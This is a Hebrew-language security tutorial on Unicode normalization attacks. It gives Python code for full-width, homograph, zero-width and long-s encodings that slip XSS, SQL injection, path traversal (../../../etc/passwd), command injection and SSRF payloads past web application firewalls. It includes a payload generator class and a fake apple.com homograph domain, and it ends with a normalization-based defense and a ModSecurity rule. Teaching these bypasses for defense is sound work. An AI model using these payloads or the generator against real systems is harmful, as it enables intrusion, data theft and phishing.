לדלג לתוכן

נורמליזציית Unicode - Unicode Normalization Attacks

רקע - מהי נורמליזציית Unicode?

תקן Unicode מאפשר לייצג את אותו תו ויזואלי במספר דרכים שונות. למשל, האות e עם accent (e) אפשר לייצג כתו בודד (U+00E9) או כשני תווים: e (U+0065) ואחריו combining accent (U+0301). כדי לאפשר השוואה עקבית, קיימות ארבע צורות נורמליזציה.


צורות נורמליזציה

NFC - Canonical Decomposition, followed by Canonical Composition

פירוק קנוני ואז הרכבה חזרה. זו הצורה הנפוצה ביותר.

import unicodedata

# e + combining accent -> e (תו בודד)
text = "e\u0301"  # e + combining acute accent
nfc = unicodedata.normalize('NFC', text)
print(f"מקורי: {repr(text)}")   # 'e\u0301'
print(f"NFC: {repr(nfc)}")       # '\xe9'
print(f"אורך מקורי: {len(text)}")  # 2
print(f"אורך NFC: {len(nfc)}")     # 1

NFD - Canonical Decomposition

פירוק קנוני בלבד. מפרק תווים מורכבים לרכיביהם.

text = "\xe9"  # e (תו בודד)
nfd = unicodedata.normalize('NFD', text)
print(f"מקורי: {repr(text)}")   # '\xe9'
print(f"NFD: {repr(nfd)}")       # 'e\u0301'
print(f"אורך מקורי: {len(text)}")  # 1
print(f"אורך NFD: {len(nfd)}")     # 2

NFKC - Compatibility Decomposition, followed by Canonical Composition

פירוק תאימות ואז הרכבה. זו הצורה המעניינת ביותר לתוקפים כי היא ממירה תווים חזותית דומים לצורה הסטנדרטית שלהם.

examples = [
    ("\uff1c", "<"),        # < (full-width) -> <
    ("\uff1e", ">"),        # > (full-width) -> >
    ("\ufb01", "fi"),       # fi (ligature) -> fi
    ("\u2024", "."),        # ․ (one dot leader) -> .
    ("\uff0f", "/"),        # / (full-width) -> /
    ("\u2044", "/"),        # ⁄ (fraction slash) -> /
    ("\uff07", "'"),        # ' (full-width) -> '
    ("\u2018", "'"),        # ' (left single quote) -> ' (תלוי)
]

for original, expected in examples:
    nfkc = unicodedata.normalize('NFKC', original)
    print(f"U+{ord(original):04X} ({original}) -> NFKC: {repr(nfkc)}")

NFKD - Compatibility Decomposition

פירוק תאימות בלבד, ללא הרכבה חזרה.

text = "\ufb01"  # fi ligature
nfkd = unicodedata.normalize('NFKD', text)
print(f"NFKD: {repr(nfkd)}")  # 'fi'

עקיפת WAF באמצעות נורמליזציה

העיקרון

הקלט עובר דרך ה-WAF בצורתו המקורית (תווי Unicode מיוחדים). ה-WAF לא מזהה דפוס מסוכן. האפליקציה מבצעת נורמליזציה (NFKC) ומקבלת מטען זדוני.

תוקף שולח: <script>alert(1)</script>
WAF רואה: <script>alert(1)</script>  -> לא מזהה <script>
אפליקציה מנרמלת (NFKC): <script>alert(1)</script>  -> XSS!

מטעני XSS עם תווים ברוחב מלא

# בניית מטען XSS עם תווי full-width
def fullwidth_encode(text):
    """המרת תווי ASCII לתווים ברוחב מלא"""
    result = []
    for char in text:
        code = ord(char)
        if 0x21 <= code <= 0x7E:
            # תווי ASCII 0x21-0x7E ממופים ל-0xFF01-0xFF5E
            result.append(chr(code - 0x21 + 0xFF01))
        else:
            result.append(char)
    return ''.join(result)

payload = "<script>alert(1)</script>"
encoded = fullwidth_encode(payload)
print(f"מקורי: {payload}")
print(f"מקודד: {encoded}")
# מקודד: <script>alert(1)</script>

# בדיקה שנורמליזציה מחזירה למקור
import unicodedata
decoded = unicodedata.normalize('NFKC', encoded)
print(f"אחרי NFKC: {decoded}")
# אחרי NFKC: <script>alert(1)</script>

מטעני SQLi עם תווי Unicode

# תווים שמתנרמלים לתווים רגישים
unicode_mappings = {
    "'": ["\uff07", "\u2018", "\u2019", "\u02bc"],  # גרש
    '"': ["\uff02", "\u201c", "\u201d"],              # מרכאות
    "<": ["\uff1c", "\u2039", "\u276e"],              # פחות מ-
    ">": ["\uff1e", "\u203a", "\u276f"],              # גדול מ-
    "/": ["\uff0f", "\u2044", "\u2215"],              # קו נטוי
    "(": ["\uff08", "\u207d", "\u208d"],              # סוגר פותח
    ")": ["\uff09", "\u207e", "\u208e"],              # סוגר סוגר
    " ": ["\u2000", "\u2001", "\u2002", "\u2003"],   # רווחים שונים
}

# בניית מטען SQLi
# מקורי: ' UNION SELECT 1--
# עם Unicode: ' UNION SELECT 1--
sqli_payload = "\uff07 UNION SELECT 1--"
print(f"מטען: {sqli_payload}")
print(f"אחרי NFKC: {unicodedata.normalize('NFKC', sqli_payload)}")

התקפות הומוגרף - Homograph Attacks

תווים שנראים זהים אך שונים

# תווים קירילים שנראים כמו לטיניים
homographs = {
    'a': '\u0430',  # а (קירילית)
    'c': '\u0441',  # с (קירילית)
    'e': '\u0435',  # е (קירילית)
    'o': '\u043e',  # о (קירילית)
    'p': '\u0440',  # р (קירילית)
    'x': '\u0445',  # х (קירילית)
    'y': '\u0443',  # у (קירילית)
    'H': '\u041d',  # Н (קירילית)
    'B': '\u0412',  # В (קירילית)
    'T': '\u0422',  # Т (קירילית)
}

# הדגמה
latin_a = 'a'
cyrillic_a = '\u0430'
print(f"Latin a: U+{ord(latin_a):04X}")     # U+0061
print(f"Cyrillic а: U+{ord(cyrillic_a):04X}")  # U+0430
print(f"נראים אותו דבר? {latin_a} vs {cyrillic_a}")  # a vs а
print(f"שווים? {latin_a == cyrillic_a}")  # False

התקפת הומוגרף על URL

# URL אמיתי: apple.com
# URL מזויף עם קירילית: аррle.com (a, p, p קירילים)

real_domain = "apple.com"
fake_domain = "\u0430\u0440\u0440le.com"

print(f"אמיתי: {real_domain}")
print(f"מזויף: {fake_domain}")
print(f"שווים? {real_domain == fake_domain}")  # False
# אבל ויזואלית הם נראים זהים!

# בדיקת IDN (Internationalized Domain Name)
# הדפדפן ממיר ל-Punycode: xn--pple-43d0c.com

ניצול הומוגרפים לעקיפת WAF

# WAF חוסם את המילה "script"
# נחליף תו אחד בהומוגרף קירילי

# מקורי: <script>alert(1)</script>
# עם הומוגרף: <ѕсript>alert(1)</ѕсript>
#              ^ ѕ (קירילית) ^ с (קירילית)

payload = "<\u0455\u0441ript>alert(1)</\u0455\u0441ript>"
print(f"מטען: {payload}")
# הדפדפן יראה: <ѕсript>alert(1)</ѕсript>
# WAF לא יזהה כ-"script"
# אבל: הדפדפן גם לא יזהה כתגית script!

# טכניקה זו עובדת רק אם האפליקציה מנרמלת לפני עיבוד

עקיפה באמצעות רוחב - Width-based Bypass

תווים ברוחב מלא - Full-width Characters

טווח U+FF01 עד U+FF5E מכיל גרסאות ברוחב מלא של תווי ASCII:

# טבלת המרה נפוצה
fullwidth_table = {
    '!': '\uff01',  # !
    '"': '\uff02',  # "
    '#': '\uff03',  # #
    '$': '\uff04',  # $
    '%': '\uff05',  # %
    '&': '\uff06',  # &
    "'": '\uff07',  # '
    '(': '\uff08',  # (
    ')': '\uff09',  # )
    '*': '\uff0a',  # *
    '+': '\uff0b',  # +
    ',': '\uff0c',  # ,
    '-': '\uff0d',  # -
    '.': '\uff0e',  # .
    '/': '\uff0f',  # /
    '<': '\uff1c',  # <
    '=': '\uff1d',  # =
    '>': '\uff1e',  # >
    '?': '\uff1f',  # ?
    '@': '\uff20',  # @
}

# בניית מטען path traversal
# מקורי: ../../../etc/passwd
traversal = "\uff0e\uff0e\uff0f\uff0e\uff0e\uff0f\uff0e\uff0e\uff0fetc\uff0fpasswd"
print(f"מטען: {traversal}")
print(f"אחרי NFKC: {unicodedata.normalize('NFKC', traversal)}")
# אחרי NFKC: ../../../etc/passwd

מטענים ברוחב מלא לכל סוגי החולשות

import unicodedata

def generate_fullwidth_payloads():
    payloads = {
        "XSS": "<script>alert(1)</script>",
        "SQLi": "' UNION SELECT 1--",
        "Path Traversal": "../../../etc/passwd",
        "Command Injection": "; ls -la",
        "SSRF": "http://127.0.0.1/admin",
    }

    for name, payload in payloads.items():
        encoded = ""
        for char in payload:
            code = ord(char)
            if 0x21 <= code <= 0x7E:
                encoded += chr(code - 0x21 + 0xFF01)
            else:
                encoded += char

        normalized = unicodedata.normalize('NFKC', encoded)
        print(f"\n--- {name} ---")
        print(f"מקורי:    {payload}")
        print(f"Full-width: {encoded}")
        print(f"NFKC:      {normalized}")
        print(f"זהה למקור? {normalized == payload}")

generate_fullwidth_payloads()

ניצול Combining Characters ו-Diacritics

תווים משלבים - Combining Characters

תווים שמתחברים לתו הקודם ועשויים להשפיע על נורמליזציה:

# הוספת combining characters שמתנרמלים החוצה
combining_chars = [
    '\u0300',  # combining grave accent
    '\u0301',  # combining acute accent
    '\u0302',  # combining circumflex
    '\u0303',  # combining tilde
    '\u0304',  # combining macron
    '\u030a',  # combining ring above
    '\u0327',  # combining cedilla
]

# הכנסת combining character בין תווים
# WAF מחפש "script" כרצף רציף
# "s" + combining char + "cript" שובר את הרצף
payload = "s\u0300cript"
print(f"מטען: {payload}")
print(f"אורך: {len(payload)}")  # 7 (כולל combining char)

# שימו לב: combining characters לא תמיד נעלמים בנורמליזציה
# זה תלוי בתו הספציפי ובצורת הנורמליזציה
nfkc = unicodedata.normalize('NFKC', payload)
print(f"NFKC: {repr(nfkc)}")

ניצול Zero-Width Characters

# תווים ברוחב אפס - בלתי נראים אך שוברים pattern matching
zero_width = [
    '\u200b',  # Zero-Width Space
    '\u200c',  # Zero-Width Non-Joiner
    '\u200d',  # Zero-Width Joiner
    '\ufeff',  # Zero-Width No-Break Space (BOM)
    '\u200e',  # Left-to-Right Mark
    '\u200f',  # Right-to-Left Mark
]

# הכנסת Zero-Width Space בתוך "script"
payload = f"<scr\u200bipt>alert(1)</scr\u200bipt>"
print(f"מטען: {payload}")
print(f"נראה כ: <script>alert(1)</script>")
print(f"אבל אורך: {len('script')} vs {len('scr\\u200bipt')}")

# האם הדפדפן מתעלם מ-zero-width chars בתוך תגית?
# בדרך כלל לא - אבל חלק מהאפליקציות מסירות אותם

בעיית Case Mapping בתרבויות שונות - Turkish I Problem

הבעיה הטורקית

בטורקית, המרת case עובדת אחרת:

import locale

# באנגלית:
# I (upper) <-> i (lower)
# רגיל

# בטורקית:
# I (upper) <-> ı (lower, without dot)
# I (upper, with dot) <-> i (lower)

# תו מיוחד: ı (dotless i, U+0131)
# תו מיוחד: I (I with dot above, U+0130)

# WAF שמשתמש ב-case-insensitive comparison עם locale טורקי
keyword = "SELECT"
user_input = "sel\u0130ct"  # עם I טורקי (I עם נקודה)

# בתרבות טורקית: "I".lower() = "ı" (לא "i")
# אבל I (U+0130).lower() = "i"

# WAF עם locale טורקי:
# "SELECT".lower() -> "select" (באנגלית)
# "SELECT".lower() -> "sel\u0131ct" (בטורקית, עם dotless i)

# אם ה-WAF עושה lower() עם locale טורקי, "SELECT" הופך ל-"sel\u0131ct"
# ואז ההשוואה ל-"select" נכשלת!

ניצול לעקיפת WAF

# תרחיש: WAF בודק case-insensitive עם locale שגוי
# הקלט עובר uppercase/lowercase בצורה שונה

# מטען עם תו Kelvin Sign
# K (Kelvin, U+212A) שונה מ-K (Latin, U+004B)
# אבל NFKC ממיר Kelvin -> K

kelvin = '\u212a'
latin_k = 'K'
print(f"Kelvin: {kelvin} (U+{ord(kelvin):04X})")
print(f"Latin K: {latin_k} (U+{ord(latin_k):04X})")
print(f"שווים? {kelvin == latin_k}")  # False
print(f"NFKC שווים? {unicodedata.normalize('NFKC', kelvin) == latin_k}")  # True

# מטען: SELECT עם Kelvin K
sqli = f"' UNION {kelvin}SELECT 1--"  # K הוא Kelvin
print(f"מטען: {sqli}")
# WAF מחפש "SELECT" - לא מוצא (כי ה-K הוא Kelvin)
# אפליקציה עם NFKC: "' UNION KSELECT 1--" -> לא מושלם

# גישה טובה יותר: long s
# ſ (Long S, U+017F) -> NFKC -> s
long_s = '\u017f'
payload = f"' UNION {long_s}ELECT 1--"
print(f"מטען: {payload}")
nfkc = unicodedata.normalize('NFKC', payload)
print(f"NFKC: {nfkc}")
# NFKC: ' UNION sELECT 1--  -> לא בדיוק "SELECT" (אות קטנה)

# שילוב עם case insensitive SQL:
# SQL לא רגיש ל-case, אז sELECT = SELECT

כלי לבניית מטעני Unicode

import unicodedata

class UnicodeBypassGenerator:
    """מחולל מטעני עקיפה באמצעות Unicode"""

    # מיפוי תווים חלופיים
    ALTERNATIVES = {
        '<': ['\uff1c', '\u2039', '\u276e', '\ufe64'],
        '>': ['\uff1e', '\u203a', '\u276f', '\ufe65'],
        "'": ['\uff07', '\u2018', '\u2019', '\u02bc', '\u02b9'],
        '"': ['\uff02', '\u201c', '\u201d'],
        '/': ['\uff0f', '\u2044', '\u2215'],
        '\\': ['\uff3c', '\u2216'],
        '(': ['\uff08', '\u207d', '\u208d', '\ufe59'],
        ')': ['\uff09', '\u207e', '\u208e', '\ufe5a'],
        ' ': ['\u2000', '\u2001', '\u2002', '\u2003', '\u00a0',
              '\u2004', '\u2005', '\u2006', '\u2007', '\u2008',
              '\u2009', '\u200a', '\u202f', '\u205f'],
        '.': ['\uff0e', '\u2024'],
        '-': ['\uff0d', '\u2010', '\u2011', '\u2012', '\u2013'],
        ',': ['\uff0c', '\ufe50'],
        ';': ['\uff1b', '\ufe54'],
        '=': ['\uff1d', '\ufe66'],
    }

    @classmethod
    def encode_payload(cls, payload, strategy='fullwidth'):
        """קידוד מטען עם אסטרטגיה נבחרת"""
        if strategy == 'fullwidth':
            return cls._fullwidth(payload)
        elif strategy == 'alternatives':
            return cls._alternatives(payload)
        elif strategy == 'mixed':
            return cls._mixed(payload)
        return payload

    @classmethod
    def _fullwidth(cls, text):
        result = []
        for char in text:
            code = ord(char)
            if 0x21 <= code <= 0x7E:
                result.append(chr(code - 0x21 + 0xFF01))
            else:
                result.append(char)
        return ''.join(result)

    @classmethod
    def _alternatives(cls, text):
        result = []
        for char in text:
            if char in cls.ALTERNATIVES:
                result.append(cls.ALTERNATIVES[char][0])
            else:
                result.append(char)
        return ''.join(result)

    @classmethod
    def _mixed(cls, text):
        """קידוד חלקי - רק תווים קריטיים"""
        critical = set("<>'\"/\\()= ")
        result = []
        for char in text:
            if char in critical and char in cls.ALTERNATIVES:
                result.append(cls.ALTERNATIVES[char][0])
            else:
                result.append(char)
        return ''.join(result)

    @classmethod
    def verify_normalization(cls, encoded, expected):
        """וידוא שנורמליזציה מחזירה את המטען הרצוי"""
        for form in ['NFC', 'NFD', 'NFKC', 'NFKD']:
            normalized = unicodedata.normalize(form, encoded)
            match = normalized == expected
            print(f"{form}: {'V' if match else 'X'} -> {repr(normalized[:50])}")


# שימוש
gen = UnicodeBypassGenerator()

xss = "<script>alert(1)</script>"
sqli = "' UNION SELECT 1--"

for payload_name, payload in [("XSS", xss), ("SQLi", sqli)]:
    print(f"\n{'='*50}")
    print(f"מטען: {payload_name}")
    for strategy in ['fullwidth', 'alternatives', 'mixed']:
        encoded = gen.encode_payload(payload, strategy)
        print(f"\nאסטרטגיה: {strategy}")
        print(f"מקודד: {encoded}")
        gen.verify_normalization(encoded, payload)

הגנה - נורמליזציה לפני בדיקה

import unicodedata

def secure_input_handler(user_input):
    """עיבוד מאובטח של קלט Unicode"""

    # שלב 1: נורמליזציית NFKC (הצורה הקנונית הרחבה ביותר)
    normalized = unicodedata.normalize('NFKC', user_input)

    # שלב 2: הסרת תווי בקרה ותווי zero-width
    cleaned = ''.join(
        char for char in normalized
        if unicodedata.category(char) not in ('Cc', 'Cf')
        or char in ('\n', '\r', '\t')
    )

    # שלב 3: בדיקה אם כל התווים מותרים
    for char in cleaned:
        if unicodedata.category(char).startswith('C'):
            raise ValueError(f"תו לא חוקי: U+{ord(char):04X}")

    # שלב 4: בדיקות אבטחה על הצורה המנורמלת
    # (כאן מפעילים את בדיקות ה-WAF)

    return cleaned
# חוקת ModSecurity - נורמליזציית Unicode
SecRule ARGS "@rx .*" \
    "id:1001,\
    phase:2,\
    pass,\
    t:utf8toUnicode,\
    t:urlDecode,\
    t:htmlEntityDecode,\
    t:lowercase,\
    chain"
SecRule MATCHED_VAR "@rx <script>" \
    "deny,status:403"

סיכום

נורמליזציית Unicode היא וקטור תקיפה עוצמתי מכיוון שרוב ה-WAFs לא מבצעים נורמליזציה לפני בדיקת חוקים. תווים ברוחב מלא, הומוגרפים, תווי combining, ותווי zero-width - כולם יכולים לשמש לעקיפה. ההגנה הנכונה היא לנרמל (NFKC) לפני כל בדיקת אבטחה, ולדחות תווים שאינם בטווח הצפוי.